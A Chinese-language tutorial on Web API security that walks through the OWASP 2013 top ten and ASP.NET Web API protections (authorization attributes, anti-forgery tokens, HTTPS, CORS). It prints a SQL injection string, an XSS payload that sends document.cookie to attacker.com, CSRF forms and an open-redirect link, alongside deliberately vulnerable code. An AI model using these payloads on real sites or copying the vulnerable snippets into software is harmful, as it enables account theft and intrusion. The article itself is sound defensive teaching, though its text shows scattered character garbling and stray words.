Web API 入门指南 - 闲话安全
2013-09-21 18:56 by 微软互联网开发支持, 6776 阅读, 46 评论, 收藏, 编辑Web API入门指南有些朋友回复问了些安全方面的问题,安全方面能够写的东西实在太多了,这里尽可能围绕着Web API的安全性来展开,介绍一些安全的基本概念,常见安全隐患、相关的防护技巧以及Web API提供的安全机制。html
目录
- Web API 安全概览
- 安全隐患
- 1. 注入(Injection)
- 2. 无效认证和Session管理方式(Broken Authentication and Session Management)
- 3. 跨站脚本(Cross-Site Scripting (XSS))
- 4. 直接引用非安全对象(Insecure Direct Object References)
- 5. 错误的安全配置(Security Misconfiguration)
- 6. 暴露敏感数据(Sensitive Data Exposure)
- 7. 功能级权限控制缺失(Missing Function Level Access Control)
- 8. 伪造跨站请求(Cross-Site Request Forgery)
- 9. 使用已知安全隐患组件(Using Components with Known Vulnerabilities)
- 10. 未验证跳转(Unvalidated Redirects and Forwards)
- Web API安全机制
Web API 安全概览
先引用下wikipedia信息安全的定义:即保护信息免受未经受权的进入、使用、披露、破坏、修改、检视、记录及销毁,从而保证数据的机密性(Confidentiality)、完整性(Integrity)和可靠性(Availability)。java
机密性和完整性都很好理解,可靠性做为信息安全的一个重要原则这里特别解释一下,即访问信息的时候保证能够访问的到,有一种攻击方式叫DOS/DDOS,即拒绝服务攻击,专门破坏网站的可用性。web
Information security, sometimes shortened to InfoSec, is the practice of defending information from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction.ajax
围绕Web API安全,在不一样的层次上有不一样的防御措施。例如,算法
- 网络传输层https数据加密
- 认证方式Knowledge Factors/Ownership Factors/Two-Factor Security
- 服务器系统层权限管理,安全补丁升级更新
- IIS层认证/受权模块管理
- .NET层面的Identity管理,认证模块管理
- Web API受权管理,输入验证
- 数据库层面数据加密,用户权限管理
下图是一个概览。spring
安全隐患
安全隐患种类繁多,这里简单介绍下OWASP 2013年票选前十位安全隐患。sql
1. 注入(Injection)
注入是指输入中包含恶意代码(在解释器中会被做为语句执行而非纯文本),直接被传递给给解释器并执行,那么攻击者就能够窃取、修改或者破坏数据。数据库
注入有不少种类型,最多见的如SQL注入、LDAP注入、OS命令注入等。json
示例
如下代码是一个典型的SQL注入隐患
1
|
String query =
"SELECT * FROM accounts WHERE customerName='"
+ request.getParameter(
"name"
) +
"'"
;
|
若是输入中customerName后面加上一个' or '1'='1,能够想象全部的accounts表数据都回被返回。
防护
- 经过封装API以参数形式来调用解释器,避免将整个解释器功能暴露给客户端。
- 若是没有封装好的安全API,能够考虑将特殊字符转义以后再传递给解释器。
- 更加激进一点的话能够提供一个输入的白名单,只有名单上的数据才能够进入解释器。
2. 无效认证和Session管理方式(Broken Authentication and Session Management)
开发人员常常本身编写认证或session管理模块,可是这种模块须要考虑的因素众多,很难正确完整的实现。因此常常会在登入登出、密码管理、超时设置、安全问题、账户更新等方面存在安全隐患,给攻击者以可乘之机。
示例
- 用户密码用明文保存,例如2011年12月多家网站数据泄露,其中就发现国内知名技术网站竟然也用明文存储用户密码。单纯的客户密码复杂度高仍是不够,服务器的坑爹的实现仍是会致使客户裸奔。
- 用户密码能够被特殊操做覆盖。例如不正确的实现密码更改功能、恢复密码功能等都有可能形成密码被直接更改。
- 网页URL中包含Session ID。例如你发现一个有趣的网页,而后把连接经过聊天工具贴给其余人,可是这个连接中包含了你的session id,别人点击这个连接就直接使用了你的session,同时他也能够做任何你能够在该网站上容许的操做,例如买张手机冲值卡。
- Session ID不会timeout,或者session/token/SSO token在登出的时候没有将其失效。
- 用户认证信息、Session ID使用未加密链接传输。这里要提一下博客园的认证链接也是不加密的,经过抓报工具很容易抓到用户的密码信息。目前来讲咱们能够作的是为博客园专门设置一个密码,千万别用本身本身信用卡或支付宝密码。
防护
- 推荐直接使用被普遍应用的认证控件及Session管理模块。
3. 跨站脚本(Cross-Site Scripting (XSS))
容许跨站脚本是Web 2.0时代网站最广泛的问题。若是网站没有对用户提交的数据加以验证而直接输出至网页,那么恶意用户就能够在网页中注入脚原本窃取用户数据。
示例
例如网站经过如下代码直接构造网页输出,
1
|
(String) page +=
"<input name='creditcard' type='TEXT' value='"
+ request.getParameter(
"CC"
) +
"'>"
;
|
攻击者输入如下数据,
1
|
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'.
|
当该数据被输出到页面的时候,每一个访问该页面的用户cookie就自动被提交到了攻击者定义好的网站。
防护
- 推荐将全部用户输入数据进行转义
- 激进的方法是提供一个白名单控制用户输入
- 对于富文本输入可使用anti-xss library来处理输入,例如Microsoft AntiXSS library.
4. 直接对象引用(Insecure Direct Object References)
这个问题在动态网页中也至关广泛,指的是页面存在对数据对象的键/名字的直接引用,而网站程序没有验证用户是否有访问目标对象的权限。
示例
例如一个网站经过如下代码返回客户信息,
1
2
3
4
|
String query =
"SELECT * FROM accts WHERE account = ?"
;
PreparedStatement pstmt = connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter(
"acct"
));
ResultSet results = pstmt.executeQuery( );
|
攻击者能够经过修改querystring来查询任何人的信息
防护
- 使用用户级别或Session级别的间接对象引用,好比用户界面上下拉框中选项对应简单数字而不是对象的数据库键值,界面数字与对象键值之间的对应关系在用户级别或session级别维护。
- 控制访问,在真正的操做以前判断用户是否有权限执行该操做或访问目标数据。
5. 错误的安全配置(Security Misconfiguration)
安全配置可能在各个级别(platform/web server/application server/database/framework/custom code)出错,开发人员须要同系统管理合做来确保合理配置。
示例
配置问题的范例比较多样,常见的几种以下,
- 服务器使用过时或存在安全漏洞的软件
- 安装了没有必要的功能
- 系统默认账户没有禁用或使用默认密码
- 出错信息中包含错误细节(调用栈信息)
- 使用的开发框架中的安全设置没有正确配置
防护
- 开发可复用自动化流程来部署环境,保证开发,测试与生产环境具备相同配置
- 及时更新软件、系统以及使用的框架
- 架构设计充分考虑组件的安全边界分割
- 使用专业扫描工具按期检查安全漏洞
6. 暴露敏感数据(Sensitive Data Exposure)
这种漏洞就是致使知名网站用户信息泄露的关键,经过明文存储敏感数据。
示例
- 密码数据库中经过明文或者经过unsalted hash来存储。攻击经过文件上传漏洞获得密码文件,全部的密码都会泄露。
- 另一个典型示例就是用户登陆使用未加密链接,这里不举例说明了。。。
防护
- 加密全部必须的敏感数据
- 避免存储没必要须的敏感数据
- 使用强加密算法
- 使用专门设计的密码加密算法
- 禁用包含敏感数据的form中的自动完成功能,禁用包含敏感数据的页面缓存
7. 功能级权限控制缺失(Missing Function Level Access Control)
功能级别权限控制通常是写在代码中或者经过程序的配置文件来完成,可是惋惜的是开发者常常忘记添加一些功能的权限控制代码。
示例
例如如下连接本该只有admin才能访问,但若是匿名用户或者非admin用户能够直接在浏览器中访问该连接,说明网站存在功能级权限控制漏洞。
防护
- 不要hard code权限控制,须要创建一种能够比较容易更新和监测权限控制的机制
- 默认拒绝全部访问,访问任何功能都须要被赋予特定的权限
- 若是某功能在一个workflow中,须要确认全部的前提条件都在正确的状态,而后容许访问该功能
8. 伪造跨站请求(Cross-Site Request Forgery)
一样是跨站请求,这种与问题3的不一样之处在于这个请求是从钓鱼网站上发起的。
示例
例如钓鱼网站上包含了下面的隐藏代码,
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
这行代码的做用就是一个在example.com网站的转账请求,客户访问钓鱼网站时,若是也同时登陆了example.com或者保留了example.com的登陆状态,那个相应的隐藏请求就会被成功执行。
防护
- 推荐使用session级别的惟一token保存在hidden field,这样该值就会被包含在请求体中,这样钓鱼网站的请求就没法得知该token从而会使请求失效。
9. 使用已知安全隐患组件(Using Components with Known Vulnerabilities)
几乎每一个程序都有这个问题,由于大多数人不会关心本身引用的库文件是否存在已知安全漏洞,并且一旦部署成功就不会再有人关心是否有组件须要升级。然而这些组件在服务器中运行,拥有至关高的权限去访问系统中的各类资源,一旦攻击者利用该组件已知漏洞,那么窃取或破坏信息也将不是难事。
示例
如下两个组件都存在已知的安全缺陷从而可让攻击者得到服务器最高权限,可是在2011年他们被下载了22M次之多,可是其中有多少被更新了,多少还在继续使用呢。
防护
- 肯定系统使用的全部组件及其版本,包括相应的依赖组件
- 关注这些组件相应的项目邮件组、issue数据库的安全更新
- 定义组件安全使用策略,避免滥用组件
- 若是可能的话对组件进行包装,从而禁用其不安全的功能
10. 未验证跳转(Unvalidated Redirects and Forwards)
不少网站都常常会须要进行页面跳转,并且有些跳转会根据用户输入来决定,这样就给了攻击者可乘之机,从而可能将用户导向恶意网站或者未受权连接。
示例
下面页面请求根据query string url字段来进行跳转,这样攻击者很容易伪造相似于如下的跳转连接将客户导向到钓鱼网站。
http://www.example.com/redirect.jsp?url=evil.com
又如未受权用户经过下面连接跳过受权检查直接到admin页面
http://www.example.com/boring.jsp?fwd=admin.jsp
防护
- 避免跳转
- 不要根据用户输入来跳转
- 若是必须根据输入跳转,验证该输入而且该用户具有访问该目标路径的权限
- 若是必须根据输入跳转,推荐根据用户输入来内部决定对应的跳转目标,不直接使用输入
Web API安全机制
Web API包含了一套完整的安全机制,并且具有不错的扩展性,这一节咱们主要介绍Web API提供的一些基本安全相关的功能。
认证与受权(Authentication and Authorization)
先给认证和受权下个定义。
什么是认证?简单来讲认证就是搞清楚用户是谁。
什么是受权?受权就是搞清楚用户能够作什么。
认证
Web API的认证取决于宿主环境配置的认证方式,好比Web API host在IIS,那么在IIS相应的网站上认证配置抑或自定义的认证模块一样会做用于Web API。
在Web API中检查一个请求是否通过认证,能够经过如下属性来判断,
Thread.CurrentPrincipal.Identity.IsAuthenticated
若是程序须要采用自定义的认证方式,须要同时设置如下两个属性,
- Thread.CurrentPrincipal. This property is the standard way to set the thread's principal in .NET.
- HttpContext.Current.User. This property is specific to ASP.NET.
private void SetPrincipal(IPrincipal principal) { Thread.CurrentPrincipal = principal; if (HttpContext.Current != null) { HttpContext.Current.User = principal; } }
受权
受权在咱们编写API的时候常常会涉及到,Web API也提供了比较完整的受权检查机制。
若是咱们想知道认证的用户信息,能够经过ApiController.User来查看。
public HttpResponseMessage Get() { if (User.IsInRole("Administrators")) { // ... } }
另外咱们能够在不一样级别使用AuthorizeAtrribute来控制不一样级别的受权访问。
若是咱们但愿在全局全部的Controller控制受权,只有受权用户能够访问的话,能够经过如下方式,
public static void Register(HttpConfiguration config) { config.Filters.Add(new AuthorizeAttribute()); }
若是但愿控制在个别Controller级别,
[Authorize] public class ValuesController : ApiController { public HttpResponseMessage Get(int id) { ... } public HttpResponseMessage Post() { ... } }
若是但愿控制在个别Action级别,
public class ValuesController : ApiController { public HttpResponseMessage Get() { ... } // Require authorization for a specific action. [Authorize] public HttpResponseMessage Post() { ... } }
若是但愿容许个别Action匿名访问,
[Authorize] public class ValuesController : ApiController { [AllowAnonymous] public HttpResponseMessage Get() { ... } public HttpResponseMessage Post() { ... } }
若是但愿容许个别用户或者用户组,
// Restrict by user: [Authorize(Users="Alice,Bob")] public class ValuesController : ApiController { } // Restrict by role: [Authorize(Roles="Administrators")] public class ValuesController : ApiController { }
伪造跨站请求(Cross-Site Request Forgery Attacks)
再来复习一遍什么是伪造跨站请求攻击
1. 用户成功登陆了www.example.com,客户端保存了该网站的cookie,而且没有logout。
2. 用户接下来访问了另一个恶意网站,包含以下代码
<h1>You Are a Winner!</h1> <form action="http://example.com/api/account" method="post"> <input type="hidden" name="Transaction" value="withdraw" /> <input type="hidden" name="Amount" value="1000000" /> <input type="submit" value="Click Me"/> </form>
3. 用户点击submit按钮,浏览器向example.com发起请求到服务器,执行了攻击者指望的操做。
上面的事例须要用户点击按钮,但网页也能够经过简单的脚本直接在网页加载过程当中自动发送各类请求出去。
正如咱们以前提到的防护方案所说,ASP.NET MVC中能够经过下面简单的代码能够在页面中添加一个隐藏field,存放一个随机代码,这个随机码会与cookie一块儿在服务器经过校验。这样其余网站没法获得不一样用户的随机代码,也就没法成功执行相应的请求。
@using (Html.BeginForm("Manage", "Account")) { @Html.AntiForgeryToken() }
<form action="/Home/Test" method="post"> <input name="__RequestVerificationToken" type="hidden" value="6fGBtLZmVBZ59oUad1Fr33BuPxANKY9q3Srr5y[...]" /> <input type="submit" value="Submit" /> </form>
对于没有form的ajax请求,咱们没法经过hidden field来自动提交随机码,能够经过如下方式在客户端请求头中嵌入随机码,而后在服务器校验,
<script> @functions{ public string TokenHeaderValue() { string cookieToken, formToken; AntiForgery.GetTokens(null, out cookieToken, out formToken); return cookieToken + ":" + formToken; } } $.ajax("api/values", { type: "post", contentType: "application/json", data: { }, // JSON data goes here dataType: "json", headers: { 'RequestVerificationToken': '@TokenHeaderValue()' } }); </script>
void ValidateRequestHeader(HttpRequestMessage request) { string cookieToken = ""; string formToken = ""; IEnumerable tokenHeaders; if (request.Headers.TryGetValues("RequestVerificationToken", out tokenHeaders)) { string[] tokens = tokenHeaders.First().Split(':'); if (tokens.Length == 2) { cookieToken = tokens[0].Trim(); formToken = tokens[1].Trim(); } } AntiForgery.Validate(cookieToken, formToken); }
安全连接(SSL)
对于须要启用安全连接的地址,例如认证页面,能够经过如下方式定义AuthorizationFilterAttribute,来定义哪些action必须经过https访问。
public class RequireHttpsAttribute : AuthorizationFilterAttribute { public override void OnAuthorization(HttpActionContext actionContext) { if (actionContext.Request.RequestUri.Scheme != Uri.UriSchemeHttps) { actionContext.Response = new HttpResponseMessage(System.Net.HttpStatusCode.Forbidden) { ReasonPhrase = "HTTPS Required" }; } else { base.OnAuthorization(actionContext); } } }
public class ValuesController : ApiController { [RequireHttps] public HttpResponseMessage Get() { ... } }
在Visual Studio里面测试的时候能够经过下面的设置来启用SSL连接
IIS中能够经过以下设置来启用SSL连接
<system.webServer> <security> <access sslFlags="Ssl, SslNegotiateCert" /> <!-- To require a client cert: --> <!-- <access sslFlags="Ssl, SslRequireCert" /> --> </security> </system.webServer>
跨域请求(Cross-Origin Requests)
跨域请求与前面的跨站伪造请求相似,有些状况下咱们须要在网页中经过ajax去其余网站上请求资源,可是浏览器通常会阻止显示ajax请求从其余网站收到的回复(注意浏览器其实发送了请求,但只会显示出错),若是咱们但愿合理的跨域请求能够成功执行并显示成功,咱们须要在目标网站上添加逻辑来针对请求域启用跨域请求。
要启用跨域请求首先要从nuget上添加一个Cors库引用,
Install-Package Microsoft.AspNet.WebApi.Cors
而后在WebApiConfig.Register中添加如下代码
using System.Web.Http; namespace WebService { public static class WebApiConfig { public static void Register(HttpConfiguration config) { // New code config.EnableCors(); config.Routes.MapHttpRoute( name: "DefaultApi", routeTemplate: "api/{controller}/{id}", defaults: new { id = RouteParameter.Optional } ); } } }
接下来就能够在不一样级别使用EnableCors属性来控制启用跨域请求了,
Global级别
public static class WebApiConfig { public static void Register(HttpConfiguration config) { var cors = new EnableCorsAttribute("www.example.com", "*", "*"); config.EnableCors(cors); // ... } }
Controller级别
[EnableCors(origins: "http://www.example.com", headers: "*", methods: "*")] public class ItemsController : ApiController { public HttpResponseMessage GetAll() { ... } public HttpResponseMessage GetItem(int id) { ... } public HttpResponseMessage Post() { ... } [DisableCors] public HttpResponseMessage PutItem(int id) { ... } }
Action级别
public class ItemsController : ApiController { public HttpResponseMessage GetAll() { ... } [EnableCors(origins: "http://www.example.com", headers: "*", methods: "*")] public HttpResponseMessage GetItem(int id) { ... } public HttpResponseMessage Post() { ... } public HttpResponseMessage PutItem(int id) { ... } }
容许跨域请求如何作到的?
浏览器会根据服务器回复的头来检查是否容许该跨域请求,好比浏览器的跨域请求头以下,
GET http://myservice.azurewebsites.net/api/test HTTP/1.1 Referer: http://myclient.azurewebsites.net/ Accept: */* Accept-Language: en-US Origin: http://myclient.azurewebsites.net Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) Host: myservice.azurewebsites.net
若是服务器容许跨域,会添加一个Access-Control-Allow-Origin头来通知浏览器该请求应该被容许,
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/plain; charset=utf-8 Access-Control-Allow-Origin: http://myclient.azurewebsites.net Date: Wed, 05 Jun 2013 06:27:30 GMT Content-Length: 17 GET: Test message